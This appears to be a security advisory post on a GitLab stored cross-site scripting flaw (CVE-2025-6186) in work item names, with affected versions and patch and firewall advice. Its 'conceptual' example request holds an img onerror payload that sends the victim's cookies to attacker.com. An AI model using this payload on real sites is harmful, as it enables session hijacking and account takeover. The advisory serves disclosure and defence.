Overview
A significant security vulnerability, CVE-2025-6186, has been discovered affecting GitLab Community Edition (CE) and Enterprise Edition (EE) that could potentially lead to account takeover. This vulnerability affects all versions from 18.1 before 18.1.4, and 18.2 before 18.2.2. This is a notable concern for any organization using these versions of GitLab as it could lead to unauthorized access, system compromise, or data leakage.
The vulnerability enables authenticated users to inject malicious HTML into work item names, a flaw that could be exploited to gain unauthorized control of another user’s account. This post will provide an in-depth look at this vulnerability, its potential impact, and the steps that can be taken to mitigate its risk.
Vulnerability Summary
CVE ID: CVE-2025-6186
Severity: High (8.7 on the CVSS scale)
Attack Vector: Web-based
Privileges Required: User level
User Interaction: Required
Impact: Account takeover, potential system compromise or data leakage
Affected Products
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Product | Affected Versions
GitLab CE | 18.1 before 18.1.4
GitLab EE | 18.2 before 18.2.2
How the Exploit Works
The vulnerability occurs due to a lack of proper sanitization of user input in work item names. An authenticated user can craft malicious HTML code, which when entered as a work item name, can result in cross-site scripting (XSS). This malicious script can then be executed in the victim’s browser when they view the infected work item, potentially leading to unauthorized account access or even account takeover.
Conceptual Example Code
This is a
conceptual
example of how the vulnerability might be exploited. This is not a real exploit, but a demonstration of the underlying principle:
POST /workitems HTTP/1.1
Host: gitlab.example.com
Content-Type: application/json
{
"work_item_name": "<img src='x' onerror='fetch(`http://attacker.com/steal?cookie=${document.cookie}`)'>"
}In this conceptual example, a malicious payload in the form of an HTML image tag is sent to the work items endpoint. The image tag contains a JavaScript `onerror` event that triggers when the image fails to load (as ‘x’ is not a valid source). This event sends a request to the attacker’s server with the victim’s cookies, potentially allowing session hijacking or account takeover.
Mitigation Guidance
Affected users should apply the vendor-supplied patch as soon as possible to mitigate this vulnerability. If immediate patching is not possible, users can deploy a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) as a temporary mitigation strategy. The WAF or IDS should be configured to detect and block attempts to exploit this vulnerability, such as attempts to inject HTML into work item names.